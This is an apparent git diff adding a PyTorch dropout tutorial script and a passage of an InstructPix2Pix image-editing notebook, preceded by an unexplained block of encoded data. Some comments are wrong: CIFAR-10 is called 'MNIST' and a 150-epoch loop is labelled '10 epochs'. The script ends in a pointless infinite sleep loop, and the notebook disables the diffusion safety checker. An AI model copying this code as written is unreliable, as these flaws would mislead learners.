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a/machine-learning/dropout-in-pytorch/dropoutregularizationpytorch_pythoncodetutorial.py b/machine-learning/dropout-in-pytorch/dropoutregularizationpytorch_pythoncodetutorial.py new file mode 100644 index 00000000..e2f87c83 --- /dev/null +++ b/machine-learning/dropout-in-pytorch/dropoutregularizationpytorch_pythoncodetutorial.py @@ -0,0 +1,202 @@ +# -*- coding: utf-8 -*- +"""DropoutRegularizationPyTorch_PythonCodeTutorial.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/19NQnpsxp29J12nTTH8zaTXzkoZ-b_mfj +""" + +import torch +import torchvision +import torchvision.transforms as transforms +import matplotlib.pyplot as plt +import numpy as np + +# defining our device, 'cuda:0' if CUDA is available, 'cpu' otherwise +device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu') +device + +# make the transform pipeline, converting to tensor and normalizing +transform = transforms.Compose([ + transforms.ToTensor(), + transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)) +]) +# the batch size during training +batch_size = 64 + +train_dataset = torchvision.datasets.CIFAR10(root="./data", train=True, + download=True, transform=transform) +train_loader = torch.utils.data.DataLoader(train_dataset, batch_size=batch_size, + shuffle=True, num_workers=2) + +test_dataset = torchvision.datasets.CIFAR10(root="./data", train=False, + download=True, transform=transform) +test_loader = torch.utils.data.DataLoader(test_dataset, batch_size=batch_size, + shuffle=False, num_workers=2) + +# the MNIST classes +classes = ('plane', 'car', 'bird', 'cat', + 'deer', 'dog', 'frog', 'horse', 'ship', 'truck') + +import torch.nn as nn +import torch.nn.functional as F + + +class Net(nn.Module): + def __init__(self): + super().__init__() + self.conv1 = nn.Conv2d(3, 6, 5) + self.pool = nn.MaxPool2d(2, 2) + self.conv2 = nn.Conv2d(6, 16, 5) + self.fc1 = nn.Linear(16 * 5 * 5, 120) + self.fc2 = nn.Linear(120, 84) + self.fc3 = nn.Linear(84, 10) + + def forward(self, x): + x = self.pool(F.relu(self.conv1(x))) + x = self.pool(F.relu(self.conv2(x))) + x = torch.flatten(x, 1) # flatten all dimensions except batch + x = F.relu(self.fc1(x)) + x = F.relu(self.fc2(x)) + x = self.fc3(x) + return x + + +net = Net() +# switch to GPU if available +net.to(device) + +import torch.optim as optim + +# defining the loss and the optimizer +criterion = nn.CrossEntropyLoss() +optimizer = optim.SGD(net.parameters(), lr=0.001, momentum=0.9) + +def get_test_loss(net, criterion, data_loader): + """A simple function that iterates over `data_loader` to calculate the overall loss""" + testing_loss = [] + with torch.no_grad(): + for data in data_loader: + inputs, labels = data + # get the data to GPU (if available) + inputs, labels = inputs.to(device), labels.to(device) + outputs = net(inputs) + # calculate the loss for this batch + loss = criterion(outputs, labels) + # add the loss of this batch to the list + testing_loss.append(loss.item()) + # calculate the average loss + return sum(testing_loss) / len(testing_loss) + +training_loss, testing_loss = [], [] +running_loss = [] +i = 0 +for epoch in range(150): # 150 epochs + for data in train_loader: + inputs, labels = data + # get the data to GPU (if available) + inputs, labels = inputs.to(device), labels.to(device) + optimizer.zero_grad() + # forward pass + outputs = net(inputs) + # backward pass + loss = criterion(outputs, labels) + loss.backward() + # update gradients + optimizer.step() + running_loss.append(loss.item()) + i += 1 + if i % 1000 == 0: + avg_train_loss = sum(running_loss) / len(running_loss) + avg_test_loss = get_test_loss(net, criterion, test_loader) + # clear the list + running_loss.clear() + # for logging & plotting later + training_loss.append(avg_train_loss) + testing_loss.append(avg_test_loss) + print(f"[{epoch:2d}] [it={i:5d}] Train Loss: {avg_train_loss:.3f}, Test Loss: {avg_test_loss:.3f}") + + +print("Done training.") + +class NetDropout(nn.Module): + def __init__(self): + super().__init__() + self.conv1 = nn.Conv2d(3, 6, 5) + self.pool = nn.MaxPool2d(2, 2) + self.conv2 = nn.Conv2d(6, 16, 5) + self.do1 = nn.Dropout(0.2) # 20% Probability + self.fc1 = nn.Linear(16 * 5 * 5, 120) + self.do2 = nn.Dropout(0.2) # 20% Probability + self.fc2 = nn.Linear(120, 84) + self.do3 = nn.Dropout(0.1) # 10% Probability + self.fc3 = nn.Linear(84, 10) + + def forward(self, x): + x = self.pool(F.relu(self.conv1(x))) + x = self.pool(F.relu(self.conv2(x))) + x = self.do1(x) + x = torch.flatten(x, 1) # flatten all dimensions except batch + x = F.relu(self.fc1(x)) + x = self.do2(x) + x = F.relu(self.fc2(x)) + x = self.do3(x) + x = self.fc3(x) + return x + + +net_dropout = NetDropout() +net_dropout.to(device) + +import torch.optim as optim + +criterion = nn.CrossEntropyLoss() +optimizer = optim.SGD(net_dropout.parameters(), lr=0.001, momentum=0.9) + +training_loss_d, testing_loss_d = [], [] +running_loss = [] +i = 0 +for epoch in range(150): # 10 epochs + for data in train_loader: + inputs, labels = data + # get the data to GPU (if available) + inputs, labels = inputs.to(device), labels.to(device) + + optimizer.zero_grad() + # forward pass + outputs = net_dropout(inputs) + # backward pass + loss = criterion(outputs, labels) + loss.backward() + # update gradients + optimizer.step() + running_loss.append(loss.item()) + i += 1 + if i % 1000 == 0: + avg_train_loss = sum(running_loss) / len(running_loss) + avg_test_loss = get_test_loss(net_dropout, criterion, test_loader) + # clear the list + running_loss.clear() + # for logging & plotting later + training_loss_d.append(avg_train_loss) + testing_loss_d.append(avg_test_loss) + print(f"[{epoch:2d}] [it={i:5d}] Train Loss: {avg_train_loss:.3f}, Test Loss: {avg_test_loss:.3f}") + + +print("Done training.") + +import matplotlib.pyplot as plt + +# plot both benchmarks +plt.plot(testing_loss, label="no dropout") +plt.plot(testing_loss_d, label="with dropout") +# make the legend on the plot +plt.legend() +plt.title("The Cross-entropy loss of the MNIST test data with and w/o Dropout") +plt.show() + +import time + +while True: + time.sleep(30) \ No newline at end of file diff --git a/machine-learning/dropout-in-pytorch/requirements.txt b/machine-learning/dropout-in-pytorch/requirements.txt new file mode 100644 index 00000000..875ecbd6 --- /dev/null +++ b/machine-learning/dropout-in-pytorch/requirements.txt @@ -0,0 +1,4 @@ +matplotlib==3.4.3 +numpy==1.21.5 +torch==1.10.1 +torchvision \ No newline at end of file diff --git a/machine-learning/edit-images-instruct-pix2pix/InstructPix2Pix_PythonCodeTutorial.ipynb b/machine-learning/edit-images-instruct-pix2pix/InstructPix2Pix_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..5d744500 --- /dev/null +++ b/machine-learning/edit-images-instruct-pix2pix/InstructPix2Pix_PythonCodeTutorial.ipynb @@ -0,0 +1,12948 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ifD7o7YOTehV", + "outputId": "8b42a9b5-d180-4986-b868-900a349b01bc" + }, + "outputs": [], + "source": [ + "!pip install -qU diffusers accelerate safetensors transformers" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "CqAnOnnOcp4W" + }, + "source": [ + "# Hugging Face" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "B2QCQqM9ckWd" + }, + "outputs": [], + "source": [ + "import PIL\n", + "import requests\n", + "import torch\n", + "from diffusers import StableDiffusionInstructPix2PixPipeline, EulerAncestralDiscreteScheduler\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "yzLP1VRHdBY7" + }, + "outputs": [], + "source": [ + "def download_image(url):\n", + " image = PIL.Image.open(requests.get(url, stream=True).raw)\n", + " image = PIL.ImageOps.exif_transpose(image)\n", + " image = image.convert(\"RGB\")\n", + " return image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 829, + "referenced_widgets": [ + "baf9ec5ebd604db9b1f5dfa948742aa2", + "b9a0167274eb44b7be65b17130d3ade6", + "44638b1824bc48de85029440f2f4a612", + "b9f1fb9570e148e7852f4f569ae82852", + "9f75675721ae47eb99c80fedb78ea2b7", + "876c7d9ec56145338bb7b960b52bddd0", + "fa82f3acd0794629b0a5af2383807c2c", + "bb3842e44e0a49f2bec66a0bbb971348", + "30e99a47aedb446ab999975c08fd96e3", + "686e9a80d1554e6ca5ff8e1df5188c31", + "20d097bf20d541bda6c8b77a0d021c9a", + "c327ed98ce284b84ae4cc89d9797b15f", + "14aad595b905426b8d7fc4390bd755d8", + "d876c82248f1418e83462dcc38f96469", + "0f79fff269c349648fb6e15bf127a7c8", + "768863d6e7e747709c4413764e7e7093", + "25082abec02c47aab0f6c66225815b6b", + "721121db2dc54b14aec771d3c6cdd0fd", + "f6787f179f0c4dc6b420085606784de9", + "ab713f31f1d34894b4826a67de80daf3", + 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"b40740317d3a4116a5b141ad4b6cf6ed", + "8babbe3e6d994cbeaa63e70192e858a4", + "d3e78f87ec5c4c3e9e1efafefadea3bd", + "8214d94c9de5436a9ed42367af453491", + "282151a48c29477cb45f8d46beb22f5e", + "1895d19dcd574f56b7148ca7235fd0b4", + "dfe593ba3bb440e0a29864c62f7b049e", + "03c6a309fc494734bd9ebf16634f9063", + "6972c854e0ed46949fa89673845aa9b5", + "b74ed8b4d7604233a405f1413959b644", + "c61940c9c4174fa8b515bbda3b612146", + "a8983f58e5c44385864ba164e3d00083", + "d11ce4de43984beab4937652c55419cb", + "422cdb3a6aed4177aba5f6e9ac77e1bf", + "14fe6c5fa5274bde8d90be608d3a6814", + "65947bf28d8c47059e1dae1f1d2f97b2", + "93b5852ebf584c3e95ca3275b2c9b698", + "1d631802aab44912a6097e97d2675102", + "c772f5d3ffca49a2a4c0d16a4469105c", + "eb33b9af3ec14698bec89ff8b66bae06", + "b00687d7649d45af882cdd6d0f97591d", + "62905ea2ea4045aeb5ec9a8426247100", + "9eb63a9230ba472d87cf106e8abb5dff", + "fcc8de512f89491ab8b7a50cc37f83f5", + "48d6f53c34b84be4a219cc30ac539aeb", + "6e4877900597413e96d01faf5f76b700", + "6923960e3752477590c9c9ebc862163c", + "b286d3656c404762b3aaff97f4a5892d", + "8811223ffe8547e99b837842150396f4", + "4e55fede968943718a3c10962f5f708b" + ] + }, + "id": "YUXSNFWQckY6", + "outputId": "68b5d0d1-14e0-440d-8fd1-ffa021810b7a" + }, + "outputs": [], + "source": [ + "model_id = \"timbrooks/instruct-pix2pix\"\n", + "pipe = StableDiffusionInstructPix2PixPipeline.from_pretrained(model_id, torch_dtype=torch.float16, safety_checker=None)\n", + "pipe.to(\"cuda\")\n", + "pipe.scheduler = EulerAncestralDiscreteScheduler.from_config(pipe.scheduler.config)\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 657 + }, + "id": "8TsGblmidHew", + "outputId": "2f023570-99cc-4a79-aca4-bbee89c22965" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg/"\n", + "image = download_image(url)\n", + "image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "039beb2fc4c6412d9e05d9d50884e940", + "0cf59b40f6304ec38bdaaee06943173f", + "63ecaa7f41ce4289aa768b77e9ceebe7", + "2a8a4ed0b2854b558efd5acce8dcf5c2", + "19469649ab6b44f8b1d6408ac2646579", + "1cbc65f4245e4c25a64827f0e2beb08d", + "59e8c90ecdf04c2b89f9a539e7f7fdbb", + "7ede80a1f6544f2a8dfd631cb6d4eaca", + "3bcb60cbd7ab48e2884460a1e539bd12", + "ee1a66e0f3ab4c67beef305317124a0f", + "b390338978084bd19f7e7e6ce8ea7e44" + ] + }, + "id": "sAoN5eGgdEku", + "outputId": "12f7ab74-6115-45ed-9092-936916fe6d69" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "b4c47f72d4204e2abbe9781707b754ee", + "8e4655cdbd0348bb86523938a0d95367", + "b99c852bd2f54c79afac0eb0049c5dd0", + "5fd422b13c324a8baf619da5d1ad0b8e", + "dc16acab929344cab2be08d297182843", + "a613c20dd06d4754b7a890d802476395", + "7342611c130c4e3da540d7ae0ac95b52", + "d1d635fff656454e9b0cdba740067c07", + "e535c42b82cb4e1fa4fbf492768e5762", + "8f10179341c44eb192f865feb143c57e", + "7f58916aaee04e5b89978d0111acf83d" + ] + }, + "id": "frOPmxYejP1g", + "outputId": "c0558f66-35ea-4a3e-f698-93d94894631c" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.5).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 444 + }, + "id": "oIzmKWERckbG", + "outputId": "2470148e-11be-4a08-c685-bb9eb5cf7f82" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n", + "image = download_image(url)\n", + "image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 473, + "referenced_widgets": [ + "3593ebaab56e4bca9706c5775ae87b75", + "dc8d5cf759be4ab08d801e1d4758b34a", + "ef3472cacb4d426cbacec25777507432", + "d5a6cb28917b48d4910903e016319aec", + "ba1422edddc447b78ba7fbf4ba11e364", + "8bb4488a1c1c4defafb072afa695918f", + "2dc8bda3ec0046b09c6422b5248f1312", + "50569e1467f7411e862553111c97afb3", + "72effdc24eb84648b6838729c11fed72", + "ecc2c348430c471791a449784f5df44c", + "dd94c326988a41cd8b57f4dd9a26f499" + ] + }, + "id": "p2rDwOJ2cken", + "outputId": "4ba88e9a-9da1-4ad4-9f76-ee8bddd3e85e" + }, + "outputs": [], + "source": [ + "prompt = \"turn the bird to red\"\n", + "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 445 + }, + "id": "Ka85jznIggXl", + "outputId": "9e11a102-9fb1-49ab-e6e6-5bc69740af5e" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2018/05/08/06/52/vacation-3382400_640.jpg/"\n", + "image = download_image(url)\n", + "image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 473, + "referenced_widgets": [ + "c3514684a02e496a875cb8fa0e86b449", + "0ace66c377a14034a594774ec024e074", + "865a15f101944359bbf30226e4cc1c90", + "5caac903dab34c119294cd4bfb65725c", + "cf013b91c09f493b94c050f224449336", + "9d28ea1de5494de5b911c1f120185b7a", + "9887290953b6414eacb4396a5b240a2e", + "5a00f85a6e9e44fcaa25dd0d982f2d0f", + "14a49cf00e9744dc8f2ac8ec3f19c90c", + "eed1d1e67a1d4a20ba49586148ca5a2a", + "147c95feace0447ca58cc4079cb2cbe5" + ] + }, + "id": "HQ6tutGNggZf", + "outputId": "f84857ef-4a50-4305-dfd7-05840d893ae2" + }, + "outputs": [], + "source": [ + "prompt = \"turn the suitcase yellow\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.7).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "mXejIqrcggbu" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "CgINC4vJggfD" + }, + "outputs": [], + "source": [] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "mPGPiJhXcsr4" + }, + "source": [ + "# Custom implementation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "5aBPcPxqePIB" + }, + "outputs": [], + "source": [ + "from tqdm import tqdm\n", + "from torch import autocast" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "F2gPSPPyZP0_" + }, + "outputs": [], + "source": [ + "class InstructPix2PixPipelineCustom:\n", + " \"\"\"custom implementation of the InstructPix2Pix Pipeline\"\"\"\n", + "\n", + " def __init__(self,\n", + " vae,\n", + " tokenizer,\n", + " text_encoder,\n", + " unet,\n", + " scheduler,\n", + " image_processor):\n", + "\n", + " self.vae = vae\n", + " self.tokenizer = tokenizer\n", + " self.text_encoder = text_encoder\n", + " self.unet = unet\n", + " self.scheduler = scheduler\n", + " self.image_processor = image_processor\n", + " self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n", + "\n", + "\n", + "\n", + " def get_text_embeds(self, text):\n", + " \"\"\"returns embeddings for the given `text`\"\"\"\n", + "\n", + " # tokenize the text\n", + " text_input = self.tokenizer(text,\n", + " padding='max_length',\n", + " max_length=tokenizer.model_max_length,\n", + " truncation=True,\n", + " return_tensors='pt')\n", + " # embed the text\n", + " with torch.no_grad():\n", + " text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n", + " return text_embeds\n", + "\n", + "\n", + " def get_prompt_embeds(self, prompt, prompt_negative=None):\n", + " \"\"\"returns prompt embeddings based on classifier free guidance\"\"\"\n", + "\n", + " if isinstance(prompt, str):\n", + " prompt = [prompt]\n", + "\n", + " if prompt_negative is None:\n", + " prompt_negative = ['']\n", + " elif isinstance(prompt_negative, str):\n", + " prompt_negative = [prompt_negative]\n", + "\n", + " # get conditional prompt embeddings\n", + " cond_embeds = self.get_text_embeds(prompt)\n", + " # get unconditional prompt embeddings\n", + " uncond_embeds = self.get_text_embeds(prompt_negative)\n", + "\n", + " # instructpix2pix takes conditional embeds first, followed by unconditional embeds twice\n", + " # this is different from other diffusion pipelines\n", + " prompt_embeds = torch.cat([cond_embeds, uncond_embeds, uncond_embeds])\n", + " return prompt_embeds\n", + "\n", + "\n", + " def transform_image(self, image):\n", + " \"\"\"transform image from pytorch tensor to PIL format\"\"\"\n", + " image = self.image_processor.postprocess(image, output_type='pil')\n", + " return image\n", + "\n", + "\n", + "\n", + " def get_image_latents(self, image):\n", + " \"\"\"get image latents to be used with classifier free guidance\"\"\"\n", + "\n", + " # get conditional image embeds\n", + " image = image.to(self.device)\n", + " image_latents_cond = self.vae.encode(image).latent_dist.mode()\n", + "\n", + " # get unconditional image embeds\n", + " image_latents_uncond = torch.zeros_like(image_latents_cond)\n", + " image_latents = torch.cat([image_latents_cond, image_latents_cond, image_latents_uncond])\n", + "\n", + " return image_latents\n", + "\n", + "\n", + "\n", + " def get_initial_latents(self, height, width, num_channels_latents, batch_size):\n", + " \"\"\"returns noise latent tensor of relevant shape scaled by the scheduler\"\"\"\n", + "\n", + " image_latents = torch.randn((batch_size, num_channels_latents, height, width))\n", + " image_latents = image_latents.to(self.device)\n", + "\n", + " # scale the initial noise by the standard deviation required by the scheduler\n", + " image_latents = image_latents * self.scheduler.init_noise_sigma\n", + " return image_latents\n", + "\n", + "\n", + "\n", + " def denoise_latents(self,\n", + " prompt_embeds,\n", + " image_latents,\n", + " timesteps,\n", + " latents,\n", + " guidance_scale,\n", + " image_guidance_scale):\n", + " \"\"\"denoises latents from noisy latent to a meaningful latent as conditioned by image_latents\"\"\"\n", + "\n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " for i, t in tqdm(enumerate(timesteps)):\n", + " # duplicate image latents *thrice* to do classifier free guidance\n", + " latent_model_input = torch.cat([latents] * 3)\n", + " latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)\n", + "\n", + " latent_model_input = torch.cat([latent_model_input, image_latents], dim=1)\n", + "\n", + "\n", + " # predict noise residuals\n", + " with torch.no_grad():\n", + " noise_pred = self.unet(latent_model_input, t,\n", + " encoder_hidden_states=prompt_embeds)['sample']\n", + "\n", + " # separate predictions into conditional (on text), conditional (on image) and unconditional outputs\n", + " noise_pred_text, noise_pred_image, 